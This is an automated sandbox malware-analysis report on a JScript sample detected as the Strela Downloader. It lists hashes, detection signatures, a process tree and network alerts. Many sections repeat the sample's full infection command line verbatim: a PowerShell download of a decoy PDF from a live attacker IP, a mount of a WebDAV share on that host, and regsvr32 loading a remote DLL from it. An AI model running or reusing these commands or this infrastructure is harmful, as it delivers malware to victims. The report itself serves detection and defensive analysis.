Edit tour

Windows Analysis Report
2024032514221887775.js

Overview

General Information

Sample name:	2024032514221887775.js
Analysis ID:	1588580
MD5:	1a63716efc3bd77536ebd568618b5111
SHA1:	1073a6c43f12ef9b1aaad2cafc36ff49a771dd2f
SHA256:	753b56fdde9c7da77fa85c68f88f77d937131c6bcc3455d73157847dc2f5ca01
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5808 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6008 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3748 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1788,i,10390997159880775626,9506597662424275383,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5588 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1440 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5364 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5808	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3748, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3748, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ProcessId: 5808, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1440, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5808, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5808, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5808, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5808, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5808, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ProcessId: 5808, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3748, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5588, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5364, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5588, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5808, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll, ProcessId: 6008, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:41:42.541777+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:41:45.130905+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:41:42.541777+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2024032514221887775.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2024032514221887775.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2024032514221887775.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:41:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

